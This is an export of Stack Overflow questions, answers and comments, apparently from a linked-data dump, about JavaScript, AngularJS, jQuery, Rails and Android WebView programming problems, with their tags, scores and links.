has body: We're all familiar with the following polyfill to create objects in JavaScript: function inherit(C, P) { var F = function () {}; F.prototype = P.prototype; C.prototype = new F(); } One downside of this is that you will not have access to the parent's own members. Child instances will only have access to the prototype chain. So I think the best inheritance solution is as follows: var inherit = (function () { var F = function () {}; return function (C, P) { F.prototype = P.prototype; C.prototype = new F(); C.prototype.constructor = C; } }()); function Parent(a){ this.a = a; } Parent.prototype.a_proto = function(){return "a_proto";} function Child(a,b){ Parent.apply(this,[a]); this.b = b; } inherit(Child, Parent); var c = new Child("a","b"); console.log(c.a); // a console.log(c.b); // b console.log(c.a_proto()); // a_proto delete c.a; console.log(c.a); // undefined The reason why I like the above solution is because first you use the apply function to copy the parent's own members to the child's own members, therefore allowing true inheritance of the parent's own members. Second, the child also has a link to the prototype chain, and can therefore inherit prototype properties of the parent…and since we use a proxy, the child cannot modify the parent's prototype. I was also introduced to the concept of an uber method in the book JavaScript Patterns. Basically, in the uber method the author says we "add a reference to the original parent". This is like having access to the superclass in other languages and could be handy on occasion." Here's the implementation: function inherit(C, P) { var F = function () {}; F.prototype = P.prototype; C.prototype = new F(); C.uber = P.prototype; } I don't see how adding a reference to the original parent is good. Now the child is able to modify the parent's prototype, which is a bad thing. What is this person talking about, we now have access to superclass like in other languages? I thought using apply and the prototype chain already has…
has comment: http://stackoverflow.com/comment/39980384
type: Question
tagged with: javascript
tagged with: inheritance
has comment: http://stackoverflow.com/comment/39980506
has comment: http://stackoverflow.com/comment/39980481
tagged with: polyfills
has comment: http://stackoverflow.com/comment/39980571
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/39980551
type: UnansweredQuestion

http://stackoverflow.com/a/25602179
answers question: http://stackoverflow.com/q/25601549
type: AcceptedAnswer
has body: for (var i = 0; i &lt; list.length; i++){ //line 659 The document parser is expecting XML. The less-than symbol must be escaped using &amp;lt; or a CDATA section or it will be interpreted as the start of an XML element.
upvote count: 1
type: Answer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25601549

http://stackoverflow.com/q/25662695
answer count: 3
has comment: http://stackoverflow.com/comment/40102592
tagged with: javascript
has title: Reload include on state change in AngularJS
has comment: http://stackoverflow.com/comment/40103546
score: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40102547
has body: I want to make an include refresh itself when the state changes in my app. Example: Global listener: phonecatApp.run(function ($state,$rootScope, $log) { $rootScope.$state = $state; $rootScope.$on('$stateChangeSuccess', function(){ if( !$state.includes('search') ) { // refresh the search-form include in the header } }); }); How can I do this? Because as the form is outside of the ui-view and when I change the page it still has a value from the previous search query as it's still in the previous state... How can I refresh this so it's updated??? Note: creating another ui-view isn't a solution as this form is just a simple include shown in a header across all pages and doesn't relate to any states, etc. Update: So you can see what I am doing with the form and controller: phonecatControllers.controller('SearchCtrl', function($rootScope, $scope, $state, $location) { $scope.query = ($state.includes('search') ? $location.search()['q'] : ''); $scope.filterQuery = ($state.includes('search') ? $location.search()['q'] : ''); if(!$scope.query){ $location.search('q', null); } $scope.queryChanged = function () { if($scope.query){ $state.go('search', {'q': $scope.query} ); } else { $location.search('q', null); } $scope.filterQuery = $scope.query; } }); Search Update: The best idea I could come up with, would be to empty the input field like so: var q = document.getElementsByName('q'); q.setAttribute('value', ''); When the state changes is NOT the search state. This automatically fires a change event on the input and then causes it to have it's ng-dirty class removed, etc.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25683754
accepted answer: http://stackoverflow.com/a/25683754
has comment: http://stackoverflow.com/comment/40102767
possible better answer: http://stackoverflow.com/a/25663414
type: Question
has answer: http://stackoverflow.com/a/25663414
has comment: http://stackoverflow.com/comment/40103493
has comment: http://stackoverflow.com/comment/40103341
has answer: http://stackoverflow.com/a/25664817

http://stackoverflow.com/comment/39917138
score: 0
comment on: http://stackoverflow.com/a/25561155
has text: @Gaurav Here is a demo example. Check the console and script.js. http://plnkr.co/edit/0uKVjD?p=preview You have some other issue. You removed "..." i had put in my answer right?
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40011451
score: 0
type: Comment
type: QuestionComment
has text: Hi Joffrey, unfortunately that does not answer the question. I understand the difference between landscape and portrait mode and I know how to detect the difference between them. My questio nis about the actual ANGLES reported by the device in relationship to its orientation in 3D space. The way these angles are reported does not seem to comply with the standard set by the W3C and it furthermore seems to differ between landscape and portrait mode.
comment on: http://stackoverflow.com/q/25611694

http://stackoverflow.com/comment/40224930
type: AnswerComment
has text: ok, but if put app.set('views', __dirname + '../public'), its searching server../public, not just public..
type: Comment
comment on: http://stackoverflow.com/a/25707511
score: 0

http://stackoverflow.com/comment/39968142
score: 1
has text: You may need to re-run [the plugin](http://vietdev.sourceforge.net/jscript/viettyping/) after appending a new element.
comment on: http://stackoverflow.com/q/25588734
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40137348
score: 0
type: Comment
has text: If it would make it simpler to only have one organisation per user, then that is a definite consideration.
comment on: http://stackoverflow.com/a/25681900
type: AnswerComment

http://stackoverflow.com/q/25689084
favorite count: 0
type: UnansweredQuestion
answer count: 0
score: 1
upvote count: 1
tagged with: forms
type: Question
linked to: http://stackoverflow.com/q/16027746
linked to: http://stackoverflow.com/q/15147728
tagged with: javascript
has body: I am creating my first Web Form and I'm looking for a little help getting this JavaScript Function to work for me. I am trying to use a JavaScript function to specify which datalist to use for a form input list=" " based on the selected value of a separate form. As you can see below I have supplied the first form (which I intend to 'fire' the JavaScript and input the variable) and the second form which should have the input list=" " value set by the script. In the first form I have used two different events simply to figure out which is the appropriate: onselect= and onchange=. I greatly appreciate any help or comments. Here is my code, I have approached this quite a few different ways and at this point it exists as: Tendon Type: Location:
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
has title: JavaScript to set datalist by for HTML5 on input/selection of value in another form
has comment: http://stackoverflow.com/comment/40254442

http://stackoverflow.com/q/25661956
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25662714
tagged with: ajax
score: 0
answer count: 1
tagged with: ruby-on-rails
has title: js.erb file won't load after respond_to in controller
type: AnsweredQuestion
has body: i need two buttons in my view but only one should use remote, so i decided to use a link and a submit button in the following way: view &lt;%= form_for(@new_word , :url =&gt; {:action =&gt; "create"}) do |f| %&gt; ... skipped code ... &lt;%= link_to("build word", '#', :class =&gt; "build", "data-button" =&gt; "build") %&gt; ... skipped code ... &lt;div id="build_name"&gt;&lt;/div&gt; &lt;%= submit_tag l(:btn_save), :name =&gt; 'btn_save' %&gt; &lt;% end %&gt; &lt;script type="text/javascript"&gt; jQuery(".build").click(function(){ var form_value = jQuery('#new_nc_project').serialize(); var button = $(this).data("button"); var content = $('#nc_project_keyword_tokens').val(); if(button == "build"){ $.ajax({ type:'POST', url: '&lt;%= url_for :action =&gt; 'build' %&gt;', data: $.param({keyword_tokens: content}) }); } }); &lt;/script&gt; controller def build @response = {resp: "text"} //just example text for testing respond_to do |format| format.json { render json: @response } format.js { render js: @response } end end build.js.erb $('#build_name').append('&lt;p&gt;&lt;%= @response[:resp] %&gt;&lt;/p&gt;'); If I look at my server console, I see no listing from "build.js.erb" file. What am I doing wrong, is there a other way to make the "@respond" visible in at view? Thanks, dot
accepted answer: http://stackoverflow.com/a/25662714
type: Question

http://stackoverflow.com/comment/40028598
comment on: http://stackoverflow.com/a/25600792
score: 0
type: AnswerComment
type: Comment
has text: What are you trying to do and where do you want to apply the componentRestrictions?

http://stackoverflow.com/q/25599914
score: 0
has comment: http://stackoverflow.com/comment/39988551
has title: jQuery Date Picker hides when pressing Next/Previous
answer count: 1
has comment: http://stackoverflow.com/comment/39990105
type: UnansweredQuestion
tagged with: datepicker
has comment: http://stackoverflow.com/comment/39998010
has body: I have a jquery datepicker calendar. When I press next button the calendar popup hides. Due to this error I cannot select next month date. Here is my code $( "#moviedate" ).datepicker({ showOtherMonths: true, selectOtherMonths: true, changeMonth: true, });
type: Question
has answer: http://stackoverflow.com/a/25600728
has comment: http://stackoverflow.com/comment/39988732
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25647046
has comment: http://stackoverflow.com/comment/54061479
tagged with: unit-testing
type: Question
tagged with: javascript
has title: Angular unit testing: $httpBackend.flush() causing $$route be 'undefined'
score: 0
has body: I am trying to create unit test for server request failure: Test: it('should progress $http on error', function () { httpBackend.whenPOST("/paymentUrl").respond(503); scope.progress(); httpBackend.flush(); expect(location.path()).toBe('/paymentFailure'); }); Code: app.factory('$preventErrorReload', ['$route', function ($route) { return function ($scope) { var lastRoute = $route.current; $scope.$on('$locationChangeSuccess', function () { if (lastRoute.$$route.templateUrl === $route.current.$$route.templateUrl) { $scope.$broadcast('locationChangedWithoutReload', $route.current); $route.current = lastRoute; } }); }; } And I am getting this error: I suspect this is something caused by the httpBackend.flush() call but not too sure as to why, or what is happening TypeError: 'undefined' is not an object (evaluating 'lastRoute.$$route') Maybe someone knows why it is not working?
tagged with: angularjs
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40074473
has comment: http://stackoverflow.com/comment/40097288
tagged with: karma-runner
answer count: 0

http://stackoverflow.com/comment/40046612
has text: just make the input[type=file] clear or hidden and use a Choose File combo to trigger clicks on the file input while accepting CSS styles on the button.
type: QuestionComment
comment on: http://stackoverflow.com/q/25630599
score: 0
type: Comment

http://stackoverflow.com/a/25630673
answers question: http://stackoverflow.com/q/25630599
type: Answer
has body: I think what you are trying to do is replace the text "Choose file" into something else; If that is the case try the following statement. Sorry, not enough reputation to comment. Browse ";
score: 0

http://stackoverflow.com/a/30856844
has body: Use Modernizr, so you can test it like this: if (Modernizr.microdata) { // Yay, microdata is supported! } Nonetheless Chrome and Safari don't seem to support this semantic syntax anymore.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25686097

http://stackoverflow.com/q/25609128
has comment: http://stackoverflow.com/comment/40005351
has title: Onclick, php echo
downvote count: 2
has body: okay this is just so messed up to me i don't understand why, its doing this My Onclick code is this <a onclick="javascript:quote('<?php echo $dnn2['message']; ?>', '[quote=<?php echo $dnn2['author']; ?>]', '[/quote]', 'message');">quote my problem is its being echoed like this brandon Wrote: second comment on the topic ', '[quote=brandon]', '[/quote]', 'message');">quote and i have no idea why it is, here is the page source Date sent: 2014/09/01 10:17:29 brandon Wrote: second comment on the topic quote
has comment: http://stackoverflow.com/comment/40005229
has comment: http://stackoverflow.com/comment/40005383
has comment: http://stackoverflow.com/comment/40005945
tagged with: bbcode
favorite count: 0
upvote count: 0
type: UnansweredQuestion
tagged with: php
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/25609209
score: -2
tagged with: javascript
has answer: http://stackoverflow.com/a/25609809

http://stackoverflow.com/comment/39916565
score: 0
has text: related: http://stackoverflow.com/questions/17043674/how-to-keep-an-array-after-navigation-away-to-another-page?rq=1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25561087

http://stackoverflow.com/comment/40077662
type: Comment
has text: I'd like to know something more specific. Could you show me an example please?
comment on: http://stackoverflow.com/a/25620003
type: AnswerComment
score: 0

http://stackoverflow.com/a/25640310
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/40061933
has body: You can try this: $( "div:nth-child(6n)" ).removeClass("disp"); Or $( "div.disp:nth-child(6n)" ).removeClass("disp");
downvote count: 0
answers question: http://stackoverflow.com/q/25640182
type: Answer

http://stackoverflow.com/comment/40112433
comment on: http://stackoverflow.com/a/25667991
has text: I like this one because it allows for a more dynamic change, regardless of what the h1 states
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25582204
type: Question
upvote count: 15
answer count: 8
tagged with: javascript
has answer: http://stackoverflow.com/a/30774648
has answer: http://stackoverflow.com/a/43766119
has answer: http://stackoverflow.com/a/70175702
has answer: http://stackoverflow.com/a/58730421
has answer: http://stackoverflow.com/a/35626151
has comment: http://stackoverflow.com/comment/39956149
favorite count: 0
tagged with: twitter-bootstrap
type: UnansweredQuestion
has body: How to check, if any bootstrap modal is currently open? The reason behind: I want to deactivate certain keyhandler, if a modal is open.
downvote count: 2
score: 13
has answer: http://stackoverflow.com/a/73177369
has answer: http://stackoverflow.com/a/25582234
has answer: http://stackoverflow.com/a/25582267
has comment: http://stackoverflow.com/comment/39956421
tagged with: twitter-bootstrap-3
has title: Check if any bootstrap modal is open

http://stackoverflow.com/q/25573328
has answer: http://stackoverflow.com/a/25573852
type: AnsweredQuestion
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has body: I'm developing a pinboard-style blog (like Pinterest) using the tutorial by Ben Holland. Each block has an absolute position and its location (top and left) is being calculated with jQuery script http://labs.benholland.me/pinterest/js/script-centered.js See working demo: http://labs.benholland.me/pinterest/demo-centered.php All elements in this demo have the same width. It is set in two places: in CSS .block {width: 300px;} and in JavaScript var colWidth = 300; The Problem: I need to make the first block to be as twice as wide as all the others and make sure that the positioning of the elements is not being collapsed. Click to see example. I know how to complete the CSS part: .block:first-child {width: 610px;} (600px+10px margin) But due to my limited knowledge of JavaScript, I can't complete the JavaScript part. Any help would be appreciated. Thank you! See JSFiddle http://jsfiddle.net/pq8hqabL/ — works only on window resize Live demo on the website I'm developing — http://goo.gl/Ckp2Qh
score: 0
has answer: http://stackoverflow.com/a/25703467
tagged with: http://stackoverflow.com/tag/html
has title: Pinboard style grid: make first element twice wider with JS
possible better answer: http://stackoverflow.com/a/25573852
tagged with: css
accepted answer: http://stackoverflow.com/a/25703467

http://stackoverflow.com/q/25645379
score: 0
accepted answer: http://stackoverflow.com/a/25645707
has comment: http://stackoverflow.com/comment/40072444
tagged with: angularjs-directive
has comment: http://stackoverflow.com/comment/40072765
tagged with: javascript
tagged with: scope
has body: I actually call directive functions from controllers like this : function myControllerFunction = function () { $scope.highlight(); } highlight(), being a function in a directive. What if I had two different directives, each one having it's own highlight() function ? Is there a way to get the actual directive object, instead of accessing the directive function directly through the $scope ? I would prefer to be explicit about the directive I want to use, like this : function myControllerFunction = function () { $scope.myDirective.highlight(); } Is that possible ? If you are curious about why I want a controller talking to a directive, here is an example : My controller receives an authentication pin from the user and submits it to a service. The service returns true if the pin is valid, otherwise false. In my controller function, I check for the boolean return value. If it is true, I call a directive function, called highlight, which simply highlights a div in green if it is true, otherwise, I call it to highlight it in red. Here is my controller function : $scope.keypadEnter = function () { userService.isCodeValid($scope.code).then(function (result) { if (JSON.parse(result.data)) { $scope.highlight("lime").then(function () { $scope.code = ""; $location.path('/clockin'); }); } else { $scope.highlight("red").then(function () { $scope.resetDisplay(); $scope.code = ""; }); } }); }; And here is my directive's highlight function : ... link: function ($scope, $element, $attrs) { $scope.highlight = function (color) { var deferred = $q.defer(); $element.effect("highlight", { color: color }, 500); $element.find("span").css('color', '#000') .animate({ opacity: 0 }, 500, function () { $element.find("span").css('opacity', 1).css('color', '#fff') }); $timeout(deferred.resolve, 500); return deferred.promise; } ... Based on your suggestions, I've changed my directive code to watch for the $scope.color variable, like this : angular.module('clockin').directive('grDisplay', function ($…
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25645707
has answer: http://stackoverflow.com/a/25646573
tagged with: angularjs
type: Question
answer count: 2
has title: How to distinguish multiple directives in the same $scope?
possible better answer: http://stackoverflow.com/a/25646573
has comment: http://stackoverflow.com/comment/40075371
has comment: http://stackoverflow.com/comment/40073100

http://stackoverflow.com/comment/39948409
comment on: http://stackoverflow.com/a/25577744
type: AnswerComment
score: 0
has text: I don't know what your updated code does. But for the timezone problem you could convert both dates to UTC time. Assuming you know the timezone of the date you get from twitter. I think this can be useful: http://www.techrepublic.com/article/convert-the-local-time-to-another-time-zone-with-this-javascript/ If you don't get the timezone in the date. You could deduce it manually by comparing the date of a fresh post to your current date. Normally there should be n-hours of difference. And then adjust the date to your timezone. This assumes that the timezone is constant for the twitter posts.
type: Comment

http://stackoverflow.com/a/33743413
upvote count: 16
has comment: http://stackoverflow.com/comment/101962440
has comment: http://stackoverflow.com/comment/70161693
has body: I also struggled with this issue for quite some time. I had the same issue with the blank page as @Catscratch and nothing worked. Strangely enough, if you wrap the same code in a Javascript function, it all works. Thus, webView.loadUrl("javascript:(function() { document.getElementById('email_field').value = '" + email + "'; })()"); works, while webView.loadUrl("javascript:document.getElementById('email_field').value = '" + email + "';"); does not work. And all of this without needing setDomStorageEnabled(true) and without setWebChromeClient()
score: 15
type: Answer
answers question: http://stackoverflow.com/q/25602117
downvote count: 1

http://stackoverflow.com/q/25631714
has title: Create.js.erb Javascript asking for partial
has answer: http://stackoverflow.com/a/25633810
score: 0
has comment: http://stackoverflow.com/comment/40047130
type: Question
tagged with: javascript
tagged with: jquery
tagged with: ajax
tagged with: ruby-on-rails-4
answer count: 1
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40047034
has body: I'm trying to get my my create action to work in my rails app. When I have these two lines $('#pit_form').remove(); //remove form $('#new_link').show(); //show new link again it functions properly, and removes the form plus adds the link back, but I can't show the new pit with my escape. I've tried a few things but it always gives me this error ActionView::Template::Error (Missing partial pits/_pit with {:locale=>[:en], :formats=>[:js, :html], :variants=>[], :handlers=>[:erb, :builder, :raw, :ruby, :jbuilder, :coffee]}. Searched in: * "/Users/markhustad/projects/fire_2/app/views" * "/usr/local/rvm/gems/ruby-2.1.1/gems/devise-3.2.4/app/views" ): 1: $('#pit_form').remove(); //remove form 2: $('#new_link').show(); //show new link again 3: $('#pit_index').append(<%= j (render(@pit)) %>); app/views/pits/create.js.erb:3:in `_app_views_pits_create_js_erb___3365989432298988625_2214355520' app/controllers/pits_controller.rb:20:in `create' when I add this line or something similar(not sure why I need _pit partial) $('#pit_index').append(<%= j (render(@pit)) %>); My pits controller currently class PitsController < ApplicationController before_action :current_user, only: [:create, :destroy] before_action :correct_user, only: :destroy def new @pit = Pit.new end def index @pit = Pit.all @user = User.find_by(params[:id]) @pits = Pit.paginate(:page => params[:page]).order('created_at DESC').group_by { |pit| pit.created_at.strftime("%B %Y") } end def create @pit = current_user.pits.create(pit_params) respond_to do |format| format.html { redirect_to pits_path} format.js end end def show @pit = Pit.find(params[:id]) end def edit end def update @pit = Pit.find(pit_params[:id]) if @pit.update_attributes(pit_params) redirect_to @pit end end def destroy @pit = Pit.find(params[:id]) @pit.destroy end def upvote @pit = Pit.find(params[:pit_id]) @pit.upvote_from current_user redirect_to pit_path(@pit) end def downvote @pit = Pit.find(params[:pit_id]) @pit.downvote_from current_user redirect_t…
tagged with: ruby-on-rails

http://stackoverflow.com/a/25702787
answers question: http://stackoverflow.com/q/25702732
upvote count: 1
downvote count: 0
has body: In your code, you are accessing item 0 and only getting the href from that. For that reason, you will only get one link. What you probably want to do is get the href for all of the of the links at once var hrefs = [], i for (i=0;i&lt;document.links.length;++i) { hrefs.push(document.links.item(i).getAttribute('href')) } Then your hrefs array will contains all the urls
type: Answer
score: 1

http://stackoverflow.com/comment/39907792
type: Comment
has text: That's it! Beyond looking up the list of possible events, is this something I could have figured out in the JavaScript debugger? Like seeing the names of the actually-triggered events? I'm using Chrome.
type: AnswerComment
comment on: http://stackoverflow.com/a/25556447
score: 0

http://stackoverflow.com/comment/39979325
has text: Is your mobile browser supported for placeholder? Here's a list of supported browsers: http://caniuse.com/#feat=input-placeholder
comment on: http://stackoverflow.com/q/25594920
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25689849
answers question: http://stackoverflow.com/q/25689661
accepted answer of: http://stackoverflow.com/q/25689661
score: 0
type: AcceptedAnswer
has body: This $("#SubcategoryID").append(' ' + subcategory.value + ' '); should be $("#SubcategoryID").append(' ' + subcategory.value + ' ');
type: Answer

http://stackoverflow.com/q/25598531
upvote count: 1
answer count: 1
favorite count: 0
tagged with: oauth
has title: Yahoo Fantasy API intermittent consumer key unknown
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25635160
downvote count: 0
score: 1
type: Question
tagged with: yahoo-api
tagged with: javascript
has body: I'm having a strange issue hitting the Yahoo Fantasy API. I've got everything working. Authentication, etc. I can make API calls and get data. However sometimes, what seems to be completely randomly, I receive an error: { statusCode: 401, data: '{"error": { "lang":"en-US", "description":"Please provide valid credentials. OAuth oauth_problem=\\"consumer_key_unknown\\", realm=\\"yahooapis.com\\"" } }' } A simple page refresh and I'm back in business, so obviously my consumer_key is perfectly fine. This happens constantly and I can't figure out why. Is the Yahoo API that unreliable??

http://stackoverflow.com/a/27791842
downvote count: 0
type: Answer
has body: https://www.mapbox.com/developers/api/geocoding/ I found this endpoint a bit back when I had to do something similar: http://api.tiles.mapbox.com/v4/geocode/mapbox.places-country-v1/-73.989,40.733.json?access_token=pk.eyJ1IjoibWFyaXNhZmx5bm4iLCJhIjoibG9JcmhrbyJ9.yDc_eDeDW2DeM_JVSQPp7g
answers question: http://stackoverflow.com/q/25576822
upvote count: 1
score: 1

http://stackoverflow.com/q/25624979
possible better answer: http://stackoverflow.com/a/25625640
has title: Get index from multidimensional array
type: Question
has answer: http://stackoverflow.com/a/25625556
answer count: 2
tagged with: javascript
tagged with: multidimensional-array
accepted answer: http://stackoverflow.com/a/25625556
has comment: http://stackoverflow.com/comment/40034583
tagged with: angularjs
score: 0
has body: I have a multidimensional array like this: var squares = new Array(); for(var i = 0; i &lt;= 8; i++) { squares[i] = new Array(); for(var j = (i * 20) + 1; j &lt;= 20 * i + 20; j++) { if (squares[i] == null) { squares[i] = ''+j; } else { squares[i].push('' + j); } } } I want to get the the index from the multidimensional array when I click on a square: angular.element('.click').click(function() { var squareId = angular.element(this).attr('id'); //Rutans id for(var k = 0; k &lt;= 8; k++) { var squareIndex = squares[k].indexOf(squareId); } console.log(squareIndex); But this only results in -1 by console.log. Anyone who can help me?
has answer: http://stackoverflow.com/a/25625640
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40034667

http://stackoverflow.com/comment/50768564
type: Comment
has text: Instead of `append`, you can use `prepend` to add items in the reverse order.
score: 8
comment on: http://stackoverflow.com/a/29677598
type: AnswerComment

http://stackoverflow.com/comment/39919149
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25562465
has text: So you have a database of some sort on the back? I suggest you take a look into this: https://togetherjs.com/ . That's about as simple as it gets. Another tip is to use jQuery for ajax and dom manipulation because it's very simple to learn and internet is full of jQuery tips and tricks.
type: QuestionComment

http://stackoverflow.com/comment/40041845
type: Comment
type: QuestionComment
score: 1
has text: So where are your benchmarks backing up your claim? What compiler flags did you pass when compiling the C? How many iterations of each test did you do? You need to post a bunch more detail in your question
comment on: http://stackoverflow.com/q/25629012

http://stackoverflow.com/a/25604125
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25603822
has body: I think, it is simple:

http://stackoverflow.com/comment/39921911
type: AnswerComment
type: Comment
has text: I know how I remove the editor. What I need is a function which execute if the window has been closed.
comment on: http://stackoverflow.com/a/25563975
score: 0

http://stackoverflow.com/a/25593735
downvote count: 0
type: Answer
has body: You have several options: Since you're defining your click handler function inline anyway, use a local variable your handler closes over: var inst = this; this.element.find('li').click(function () { // `inst` is your instance, `this` is the element inst.selectElement(this); }); Use jQuery's proxy: this.element.find('li').click($.proxy(function (e) { // `this` is your instance, `e.currentTarget` is the element this.selectElement(e.currentTarget); }, this)); Use ES5's Function#bind: this.element.find('li').click(function (e) { // `this` is your instance, `e.currentTarget` is the element this.selectElement(e.currentTarget); }.bind(this));
upvote count: 6
score: 6
answers question: http://stackoverflow.com/q/25593700

http://stackoverflow.com/comment/40051042
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25633909
has text: Works for me as it should.
type: Comment

http://stackoverflow.com/q/25602117
linked to: http://stackoverflow.com/q/37644551
type: AnsweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/39994559
tagged with: javascript
has comment: http://stackoverflow.com/comment/39992921
favorite count: 0
type: Question
tagged with: android
has answer: http://stackoverflow.com/a/25606090
score: 9
has answer: http://stackoverflow.com/a/46658695
tagged with: webview
has body: I try to fill out a form inside a webview from the android client app. I know how it should work, but the getElementById always returns null for me. I tried it on different websites. Here is my example for www.google.com. MyWebView view = new MyWebView(this); view.getSettings().setJavaScriptEnabled(true); view.loadUrl("http://www.google.com"); view.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView v, String url) { v.loadUrl(url); return true; } @Override public void onPageFinished(WebView v, String url) { v.loadUrl("javascript:document.getElementById('mib').value = 'aaa';"); } }); setContentView(view); And the MyWebView class (only for information). class MyWebView extends WebView { Context context; public MyWebView(Context context) { super(context); this.context = context; } @Override public boolean onTouchEvent(MotionEvent event) { // do some multi touch stuff return true; } } I always get the error: 09-01 04:35:26.453: I/chromium(2962): [INFO:CONSOLE(1)] "Uncaught TypeError: Cannot set property 'value' of null", source: https://www.google.de/?gws_rd=ssl (1) But the element "mib" should be on the site. Using a desktop browser (chrome with mobile simulation) everything is working fine. I have no idea, whats going wrong here. Thanks for hints! Edit: I got some progress. Regarding this site, I also need setDomStorageEnabled(true). No I can find the DOM object and set the value, but instead of showing the modified site I get a new blank one with only the value I set. E.g. a white blank site with the text "aaa".
possible better answer: http://stackoverflow.com/a/33743413
upvote count: 9
has answer: http://stackoverflow.com/a/33743413
has title: Android WebView always returns null for javascript getElementById on loadUrl
tagged with: java
answer count: 3
accepted answer: http://stackoverflow.com/a/25606090

http://stackoverflow.com/comment/40129674
score: 0
type: QuestionComment
type: Comment
has text: Similar: http://stackoverflow.com/questions/21680363/prevent-drag-event-to-interfere-with-input-elements-in-firefox-using-html5-drag Seems to be an implementation bug in Firefox
comment on: http://stackoverflow.com/q/25677122

http://stackoverflow.com/q/25578300
answer count: 1
tagged with: javascript
tagged with: jquery
has body: I am developing an app using jquery mobile 1.4. I have this problem that when I edit an item using an edit form, the changes is saved in the localStorage but when I visit the list view page it does not reflect unless I manually refresh the page. My save event of the form is like this //After the selected employees has been edited localStorage.setItem("employees", JSON.stringify(employees)); //set the update values to localstorage alert('Employee Updated Successfully'); $('#employees_list').listview('refresh'); $.mobile.changePage("#home_page"); So I don't refresh it manually I added history.go(0); The problem with history.go(0); is that after compiling with phonegap it shows a blank screen and takes quit a while when it reloads which makes it seem as if the app has crashed. So any suggestion on how to refresh the listview page without having to reload the entire html file? It is a single html5 page with the listview page id = '#employee_list_view_page'. Or alternatively set it to stop (or timeout) after some seconds so the user dont think the app has crashed. Thanks
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
favorite count: 0
tagged with: cordova
has title: How do I refresh a page in single html5 jquery mobile app
tagged with: android
type: AnsweredQuestion
upvote count: 0
has answer: http://stackoverflow.com/a/25578347
accepted answer: http://stackoverflow.com/a/25578347
score: -1
type: Question

http://stackoverflow.com/comment/40095199
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25658353
score: 0
has text: http://jsfiddle.net/arunpjohny/ma7rk0ur/4/

http://stackoverflow.com/q/25648541
upvote count: 4
tagged with: twitter-bootstrap-3
downvote count: 0
has answer: http://stackoverflow.com/a/35742155
tagged with: bootstrap-tokenfield
has answer: http://stackoverflow.com/a/26420954
has title: Tokenfield (tag input) autocomplete in Bootstrap 3 doesn't work
type: Question
has answer: http://stackoverflow.com/a/28689430
has answer: http://stackoverflow.com/a/42129641
has comment: http://stackoverflow.com/comment/46359655
tagged with: javascript
answer count: 6
score: 4
has body: I am trying to implement a simple tags input in Bootstrap 3 with Tokenfield, but I've stacked somewhere. HTML code: Κατηγορία Javascript: Error: It doesn't show the autocomplete. I don't have any error in the console. I can add tags manually.
tagged with: jquery
favorite count: 0
has answer: http://stackoverflow.com/a/40778136
tagged with: twitter-bootstrap
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/29061718

http://stackoverflow.com/q/25572887
tagged with: google-visualization
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25577045
has comment: http://stackoverflow.com/comment/39941021
has comment: http://stackoverflow.com/comment/39940660
has comment: http://stackoverflow.com/comment/39946121
has body: I'm trying to replicate the following code from a working example: series: {0: {targetAxisIndex:0}, 1: {targetAxisIndex:0}, 2: {targetAxisIndex:1}, This is for setting which y-axis is used to plot different columns from a dataTable on a Google chart. However I have a variable number of columns (based on user input), therefore am collecting an array of the required axis (the axisAssignment Array in the below example). My code is below: var series = {}; for (i=0;i&lt;axisAssignment.length;i++) { series[i] = {targetAxisIndex: axisAssignment[i]}; } return series; However, all of my data is only being written to the left axis, despite the debugger suggesting that the object is correct. My option code is below: var options = { hAxis: {title: xTitle}, vAxes: {0: {title: y1Type}, 1: {title: y2Type} }, series: calculateSeries(), pointSize: 1, legend: {position: 'top', textStyle: {fontSize: 10}} }; Any assistance would be greatly apreciated. Thanks Tom edit: whole file for reference (it's a work in progress so a bit of a mess I'm afraid) google.load("visualization", "1", {packages:["corechart"]}); google.setOnLoadCallback(drawChart()); function drawChart() { var title = "Node: "+currentNode; var xTitle = "Date"; var yTitle = titles[currentVariable]; if (totalData !== null) { var tempData = newData(); var tempData2 = totalData; dataArray[dataCount] = tempData; var joinMark = countArray(dataCount); totalData = google.visualization.data.join(tempData2,tempData,'full',[[0,0]],joinMark,[1]); dataCount = dataCount+1; } else { totalData = newData(); dataArray[dataCount] = totalData; dataCount = 1; } var options = { hAxis: {title: xTitle}, vAxes: {0: {title: y1Type}, 1: {title: y2Type} }, series: calculateSeries(), pointSize: 0.5, legend: {position: 'top', textStyle: {fontSize: 10}} }; var chart = new google.visualization.ScatterChart(document.getElementById('graph')); console.log(calculateSeries()); chart.draw(totalData, options); function countArray(count) { var arrayCount= new Arr…
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25577045
type: Question
has title: setting google chart multiple axes from dynamically generated data
score: 0
has comment: http://stackoverflow.com/comment/39939847

http://stackoverflow.com/comment/40124666
type: QuestionComment
comment on: http://stackoverflow.com/q/25673366
score: 0
